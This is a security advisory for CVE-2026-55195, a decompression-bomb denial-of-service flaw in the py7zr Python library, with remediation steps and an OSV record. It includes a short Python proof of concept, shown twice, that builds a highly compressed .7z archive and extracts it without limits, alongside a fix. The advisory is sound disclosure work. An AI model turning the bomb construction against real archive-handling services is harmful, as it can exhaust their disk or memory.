CVE-2026-55195: py7zr Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-gjrg-mpp7-g774
CWE-409
Published
Advisory Summary

CVE-2026-55195 is a MODERATE denial of service vulnerability (CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)) affecting py7zr libraries in the PyPI ecosystem. The issue involves decompression bomb (zip bomb) denial of service via unchecked extraction size. Remediation is available by upgrading affected packages to version 1.1.3.

CVE-2026-55195 at a Glance

CVE Identifier CVE-2026-55195
GHSA Identifier GHSA-gjrg-mpp7-g774
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Affected Product py7zr
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-55195

To remediate this vulnerability, upgrade all affected py7zr dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

py7zr fixed: 1.1.3
pip install py7zr>=1.1.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show py7zr

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-55195, inspect your installed packages using pip:

pip show py7zr

Analyze the terminal output to locate any version of py7zr in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.3), your application is affected.

Note: The pip show py7zr command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification), where the product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output. In py7zr, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes. Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio). **Proof of concept:** ```python import py7zr, tempfile, os # create bomb: compress 100MB of zeros into ~15KB bomb_path = tempfile.mktemp(suffix='.7z') with py7zr.SevenZipFile(bomb_path, 'w') as z: import io z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin') print(f'archive size: {os.path.getsize(bomb_path):,} bytes') # extract — no size check with py7zr.SevenZipFile(bomb_path, 'r') as z: z.extractall(path=tempfile.mkdtemp()) print('extracted 100 MB from ~15 KB archive') ``` **Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter. **Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded: ```python MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable total = 0 for chunk in decompressed_chunks: total += len(chunk) if total > MAX_EXTRACT_SIZE: raise py7zr.exceptions.DecompressionBombError( f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes' ) outfile.write(chunk) ``` Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

CVE-2026-55195 Affected py7zr Versions

1 component(s)
Fixed Versions:
1.1.3
Product / Package Ecosystem Affected Versions Fixed Version
py7zr
PyPI
< 1.1.3
1.1.3

References

Frequently Asked Questions

What is CVE-2026-55195?
CVE-2026-55195 is a security vulnerability in py7zr involving Decompression bomb (zip bomb) denial of service via unchecked extraction size under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification).
Which py7zr versions are affected?
Affected versions include releases prior to 1.1.3 across affected packages: py7zr.
What version fixes CVE-2026-55195?
Upgrading to 1.1.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is py7zr affected?
Yes, py7zr is affected in releases prior to 1.1.3. Upgrade your dependency to 1.1.3 or later.
What CWE is associated with CVE-2026-55195?
CVE-2026-55195 is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.).
How can I check PyPI dependencies for CVE-2026-55195?
Run the dependency tree command: 'pip show py7zr'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gjrg-mpp7-g774",
  "modified" : "2026-06-19T21:16:29Z",
  "published" : "2026-06-19T21:16:29Z",
  "aliases" : [ "CVE-2026-55195" ],
  "summary" : "py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size",
  "details" : "py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes.\n\nMeasured: 15.6 KB archive → 100 MB output (6,556:1 ratio).\n\n**Proof of concept:**\n\n```python\nimport py7zr, tempfile, os\n\n# create bomb: compress 100MB of zeros into ~15KB\nbomb_path = tempfile.mktemp(suffix='.7z')\nwith py7zr.SevenZipFile(bomb_path, 'w') as z:\n    import io\n    z.writef(io.BytesIO(b'\\x00' * 100 * 1024 * 1024), 'bomb.bin')\n\nprint(f'archive size: {os.path.getsize(bomb_path):,} bytes')\n\n# extract — no size check\nwith py7zr.SevenZipFile(bomb_path, 'r') as z:\n    z.extractall(path=tempfile.mkdtemp())\n\nprint('extracted 100 MB from ~15 KB archive')\n```\n\n**Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter.\n\n**Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded:\n\n```python\nMAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable\n\ntotal = 0\nfor chunk in decompressed_chunks:\n    total += len(chunk)\n    if total > MAX_EXTRACT_SIZE:\n        raise py7zr.exceptions.DecompressionBombError(\n            f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'\n        )\n    outfile.write(chunk)\n```\n\nTested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "py7zr"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/miurahr/py7zr/security/advisories/GHSA-gjrg-mpp7-g774"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/miurahr/py7zr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-409" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T21:16:29Z",
    "nvd_published_at" : null
  }
}